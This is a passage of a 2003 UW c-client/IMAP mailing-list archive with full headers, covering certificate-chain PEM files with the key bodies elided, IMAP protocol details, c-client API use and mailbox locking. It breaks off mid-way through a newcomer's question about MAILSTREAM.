Marcus Redivo wrote: >> However, I have run into a snag: >> >> I have a trial certificate signed by Comodo using a second-level CA >> certificate, which is in turn signed by a GTE Cybertrust root >> certificate. The second-level certificate is not distributed with the >> usual browsers, so it must be supplied by the POP/IMAP server during >> session initiation. > > I believe we had to do the same and it worked by simply > concatenating all the necessary certificates into one > pem-File for ssl-pop/imap structured like this: > (The file really looks like this, I simply replaced > the 'asci-armored' _real_ certificate codes by one '...') Yes. I have now tried this and it works. Vielen Dank; many thanks. My tests and experience so far led me to believe that the Root-Certificate: section in your example below would be unnecessary, because the root certificate must be present on the POP/IMAP client. To confirm this, I added only the intermediate CA certificate to my file before testing. With that one addition, the POP client considered the certificate chain complete; the root certificate is not required in this file. Marcus Redivo http://www.eclectica.ca > ============================== ONE 'simap.pem' ================= > User-Private-Key: > -----BEGIN RSA PRIVATE KEY----- > ... > -----END RSA PRIVATE KEY----- > > User-Certificate: > -----BEGIN CERTIFICATE----- > ... > -----END CERTIFICATE----- > > CA-Certificate: > -----BEGIN CERTIFICATE----- > ... > -----END CERTIFICATE----- Following is not required, but apparently causes no harm ... > Root-Certificate: > -----BEGIN CERTIFICATE----- > ... > -----END CERTIFICATE----- > ================================================================ > > Yours Stucki (postmaster on holiday of mi.fu-berlin.de) Enjoy your holiday. From pinedev@shivax2.cac.washington.edu Mon Aug 18 15:23:47 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Aug 2003 15:23:47 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7IMNkxd028797 for ; Mon, 18 Aug 2003 15:23:46 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7IMNhWO019269 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 18 Aug 2003 15:23:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7IMNbKH028236; Mon, 18 Aug 2003 15:23:37 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7IMLW2x059134 for ; Mon, 18 Aug 2003 15:21:32 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7IMLUdM025984 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 18 Aug 2003 15:21:30 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7IMLFxu001761; Mon, 18 Aug 2003 15:21:15 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7IMLEXa009166 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 18 Aug 2003 15:21:14 -0700 Message-Id: Date: Mon, 18 Aug 2003 15:21:35 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Gangadhar Mylapuram Cc: Sebastian Hagedorn , c-client@u.washington.edu Subject: Re: Regarding PARTIAL command In-Reply-To: <20030812085427.91798.qmail@web9805.mail.yahoo.com> References: <20030812085427.91798.qmail@web9805.mail.yahoo.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='__USER_AGENT_PINE, __HAS_MSGID, __SANE_MSGID, __IN_REP_TO, __REFERENCES, REFERENCES, IN_REP_TO, EMAIL_ATTRIBUTION' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 12 Aug 2003, Gangadhar Mylapuram wrote: > Is it not compulsary to have support of lower versions? RFC 1730 had certain functionalities, including the PARTIAL command, which were fundamentally flawed in their design and which were removed in RFC 2060. It is now 7 years later. No software should use those broken functionalities of RFC 1730. It is alright for a server not to support them. UW imapd's support for RFC 1730 was removed some time ago. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Aug 18 15:32:19 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Aug 2003 15:32:19 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7IMWJxd029185 for ; Mon, 18 Aug 2003 15:32:19 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7IMWGof008690 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 18 Aug 2003 15:32:16 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7IMWAJ8018012; Mon, 18 Aug 2003 15:32:10 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7IMVX2x045610 for ; Mon, 18 Aug 2003 15:31:33 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7IMVVSC024437 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 18 Aug 2003 15:31:32 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7IMVUCK012355; Mon, 18 Aug 2003 15:31:30 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7IMVUXa009952 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 18 Aug 2003 15:31:30 -0700 Message-Id: Date: Mon, 18 Aug 2003 15:31:51 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: George Lindholm Cc: c-client@u.washington.edu Subject: Re: Folder name space and the '&' character In-Reply-To: <3F203A6E.70408@ubc.ca> References: <3F203A6E.70408@ubc.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='__USER_AGENT_PINE, __HAS_MSGID, __SANE_MSGID, __IN_REP_TO, __REFERENCES, REFERENCES, IN_REP_TO, EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT, SPAM_PHRASE_00_01' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 24 Jul 2003, George Lindholm wrote: > I crated two files named 'b &- d' and 'C & D' and then did a: "C & D" is not a valid mailbox name. "b &- d" is a mailbox name which should display as "b & d". > As you can see, the folder name of 'b &- d' comes out as 'b & d' and of 'C & D' comes out as 'C '. > This makes in difficult, if not impossible to access the folders. Yup... > And if I read RFC3501, section 5.1.3, correctly, isn't the imap server supposed to escape the > '&' properly since this is the signal to the client that the string is BASE64 encoded? There is no requirement for the IMAP server to do any escaping. In UW imapd, the file names are the same as the mailbox names. UW imapd won't protect you if you create a file with a name that is an invalid mailbox name. The client is responsible for not doing that. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Aug 18 16:12:58 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Aug 2003 16:12:58 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7INCwxd030963 for ; Mon, 18 Aug 2003 16:12:58 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7INCtof009998 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 18 Aug 2003 16:12:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7INChJ8018018; Mon, 18 Aug 2003 16:12:48 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7INBu2x046464 for ; Mon, 18 Aug 2003 16:11:56 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7INBsSC004861 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 18 Aug 2003 16:11:54 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7INBlin027963; Mon, 18 Aug 2003 16:11:47 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7INBkXa012873 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 18 Aug 2003 16:11:47 -0700 Message-Id: Date: Mon, 18 Aug 2003 16:12:07 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: How to cancel retrieving mail? In-Reply-To: <007a01c35861$b13ddf80$6f03a8c0@redhook> References: <007a01c35861$b13ddf80$6f03a8c0@redhook> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='__USER_AGENT_PINE, __HAS_MSGID, __SANE_MSGID, __IN_REP_TO, __REFERENCES, REFERENCES, IN_REP_TO, EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT, SPAM_PHRASE_02_03' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 1 Aug 2003, Shawn Walker wrote: > How to cancel retrieving a message from the IMAP server? Say there is a > rather large email and the user decide to cancel the download, that is just > one example. But, I don't want to close the mail stream session. The simple answer is "you can't". If you want to have a cancelable download, you need to do a series of partial fetches (e.g. by calling mail_partial_body()) and allow a cancellation after each step of the series. Look at the Pine source code since Pine works this way. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Aug 18 16:27:13 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Aug 2003 16:27:13 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7INRCxd031534 for ; Mon, 18 Aug 2003 16:27:12 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7INR7WO021534 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 18 Aug 2003 16:27:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7INR3J8041014; Mon, 18 Aug 2003 16:27:03 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7INQC2x032778 for ; Mon, 18 Aug 2003 16:26:12 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu6.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7INQA7e020421 for ; Mon, 18 Aug 2003 16:26:11 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7INQ6CK021616; Mon, 18 Aug 2003 16:26:06 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7INQ54A027244 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 18 Aug 2003 16:26:06 -0700 Message-Id: Date: Mon, 18 Aug 2003 16:26:26 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Alan Thew Cc: c-client@u.washington.edu Subject: Re: Possible to set the PAM service name in pam_start? In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=I, Probability=1%, Report='__USER_AGENT_PINE, __HAS_MSGID, __SANE_MSGID, __IN_REP_TO, __REFERENCES, REFERENCES, IN_REP_TO, EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 5 Aug 2003, Alan Thew wrote: > It would be very useful if I could do this but it doesn't seem possible > in imap-2002c1 on Solaris? Has anyone tried or have any pointers? The service name (used by PAM and other things) is set up by each server at startup with the server_init() call. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Aug 18 16:31:57 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Aug 2003 16:31:57 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7INVvxd031749 for ; Mon, 18 Aug 2003 16:31:57 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7INVqof010602 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 18 Aug 2003 16:31:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7INVmKH009552; Mon, 18 Aug 2003 16:31:48 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7INUx2x009456 for ; Mon, 18 Aug 2003 16:30:59 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu6.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7INUh7e021572 for ; Mon, 18 Aug 2003 16:30:43 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7INUWin030956; Mon, 18 Aug 2003 16:30:32 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7INUV4A027522 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 18 Aug 2003 16:30:31 -0700 Message-Id: Date: Mon, 18 Aug 2003 16:30:52 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Fernando Maldonado S." Cc: c-client@u.washington.edu Subject: Re: Trouble with headers In-Reply-To: <019201c36054$821eecd0$579cf884@Cmped12087> References: <019201c36054$821eecd0$579cf884@Cmped12087> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='__USER_AGENT_PINE, __HAS_MSGID, __SANE_MSGID, __IN_REP_TO, __REFERENCES, REFERENCES, IN_REP_TO, EMAIL_ATTRIBUTION' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 11 Aug 2003, Fernando Maldonado S. wrote: > Content-Base: "http://www.bdatos.com.mx/" > Content-Location: "http://www.bdatos.com.mx/" These headers are the cause of the problem; they trigger a long-standing bug in the IMAP client code if (and only if) the IMAP server supports these headers. Rebuild IMP using the c-client library from imap-2002d (the current release version) and the problem will go away. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Aug 18 17:21:50 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Aug 2003 17:21:50 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7J0Loxd001166 for ; Mon, 18 Aug 2003 17:21:50 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7J0Llof012360 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 18 Aug 2003 17:21:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7J0LhKH004858; Mon, 18 Aug 2003 17:21:43 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7J0Kx2x052850 for ; Mon, 18 Aug 2003 17:20:59 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7J0KtSC024181 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 18 Aug 2003 17:20:55 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7J0Krin005425; Mon, 18 Aug 2003 17:20:53 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7J0Kr4A030402 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 18 Aug 2003 17:20:53 -0700 Message-Id: Date: Mon, 18 Aug 2003 17:21:14 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Omar Khan Cc: c-client@u.washington.edu Subject: Re: Search and callbacks In-Reply-To: <001e01c34d62$a0787b10$3701030a@corp.google.com> References: <001e01c34d62$a0787b10$3701030a@corp.google.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='__USER_AGENT_PINE, __HAS_MSGID, __SANE_MSGID, __IN_REP_TO, __REFERENCES, REFERENCES, IN_REP_TO, EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT, SPAM_PHRASE_02_03' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Sorry for the delay in responding. I was on vacation. On Fri, 18 Jul 2003, Omar Khan wrote: > >Why not use :*? That is, if the last known UID is > >32121, do 32122:*. > So in c-client, is the best interpretation to use a search with the > searchset first and last properties equal to the first and last uid... By "first uid" I assume that you mean "last known UID + 1" and not "UID 1", right? If so, that sounds reasonable. > 2nd question... Callbacks. I know you shouldn't call a mail_* function > from within a callback (say mm_exists). So suppose that call back gets > innundated with 20 new messages and we want to process them. What's the > recommended way of doing this? In the callback, set a request to your main program to do the processing, then return. Then, in your main program, after finishing the current processing, check to see if you have any requests and if so do them. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Aug 18 17:27:14 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Aug 2003 17:27:14 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7J0RExd001442 for ; Mon, 18 Aug 2003 17:27:14 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7J0RBof012536 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 18 Aug 2003 17:27:11 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7J0R7OL017292; Mon, 18 Aug 2003 17:27:07 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7J0QO2x020516 for ; Mon, 18 Aug 2003 17:26:24 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7J0QLdM026054 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 18 Aug 2003 17:26:22 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7J0QFCK029964; Mon, 18 Aug 2003 17:26:15 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7J0QFXa017205 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 18 Aug 2003 17:26:15 -0700 Message-Id: Date: Mon, 18 Aug 2003 17:26:36 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Clive McDowell Cc: c-client Subject: Re: sharing mailboxes In-Reply-To: <001f01c35109$cfb33690$b209758f@cc.qub.ac.uk> References: <001f01c35109$cfb33690$b209758f@cc.qub.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='__USER_AGENT_PINE, __HAS_MSGID, __SANE_MSGID, __IN_REP_TO, __REFERENCES, REFERENCES, IN_REP_TO, EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT, SPAM_PHRASE_02_03' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Sorry for the delay in responding; I was on vacation. What is the exact error message that you are getting? On Wed, 23 Jul 2003, Clive McDowell wrote: > I'm attempting to set up a mechanism on a sparc Solaris 8 platform to > allow a user e.g. a secretary to have access to another user's mailbox. > I have approached this by setting both users to be the same group and > setting the INBOX file (mbx format) to have group rw permissions. > Mailboxes are in /folders/${username}. I'm working with Outlook XP as a > client (not through my choice) and by setting the root folder path to > /folders I can display and subscribe to the other user's INBOX file. On > a test machine I have complete rw access to the second mailbox but when > I try the same thing on the machine in service I encounter problems. I > can subscribe to the INBOX file OK but access is another matter. If I > can see the contents of the folder at all any attempt to interact with > it results in an error message e.g. Unable to lock mailbox. I have tried > the same exercise with Netscape and the same thing happens. The only > difference between the test and service machines is the level of > activity. Both have the latest version of imapd installed. Any ideas as > to why these locking problems should occur on a busy machine? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Aug 18 22:11:25 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Aug 2003 22:11:25 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7J5BPxd008729 for ; Mon, 18 Aug 2003 22:11:25 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7J5BLWO030657 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 18 Aug 2003 22:11:21 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7J59tKH021764; Mon, 18 Aug 2003 22:09:55 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7J58v2x021806 for ; Mon, 18 Aug 2003 22:08:57 -0700 Received: from web9802.mail.yahoo.com (web9802.mail.yahoo.com [216.136.129.212]) by mxu7.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7J58tZF006533 for ; Mon, 18 Aug 2003 22:08:55 -0700 Received: from [202.62.76.6] by web9802.mail.yahoo.com via HTTP; Mon, 18 Aug 2003 22:08:55 PDT Message-Id: <20030819050855.23900.qmail@web9802.mail.yahoo.com> Date: Mon, 18 Aug 2003 22:08:55 -0700 (PDT) Reply-To: ganga_506@yahoo.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Gangadhar Mylapuram To: c-client@u.washington.edu Subject: Regarding MAILSTREAM data structure MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-1684526091-1061269735=:22555" X-Uwash-Spam: Gauge=XXXXIIIIII, Probability=46%, Report='__HAS_MSGID, __SANE_MSGID, FROM_ENDS_IN_NUMS, __EVITE_CTYPE, RCVD_IN_RFCI, SPAM_REDIRECTOR, SPAM_PHRASE_03_05' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --0-1684526091-1061269735=:22555 Content-Type: text/plain; charset=us-ascii Hi everybody, I have some quires reagrding mail.h file in c-client soure. 1. How to use mail_xxx APIs and Imap_xxx APIs? 2. Is the MAILSTREAM datastructure object used to store a single folder inforamtion? 3. How MAILSTREAM object storing information about mail messages? 4. In case of serveral folders (like sent, drafts and thrash), Do we need to create as many number of MAILSTREAM objects? Can any body clear these things. Thanks in advance. Regards Gangadhar --------------------------------- Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software --0-1684526091-1061269735=:22555 Content-Type: text/html; charset=us-ascii
    Hi everybody,
     
    I have some quires reagrding mail.h file in c-client soure.
     
    1. How to use mail_xxx APIs and Imap_xxx APIs?
     
    2. Is the MAILSTREAM datastructure object used to store a single folder inforamtion?
     
    3. How MAILSTREAM object storing information about mail messages?
     
    4. In case of serveral folders (like sent, drafts and thrash), Do we need to create as many number of MAILSTREAM objects?
     
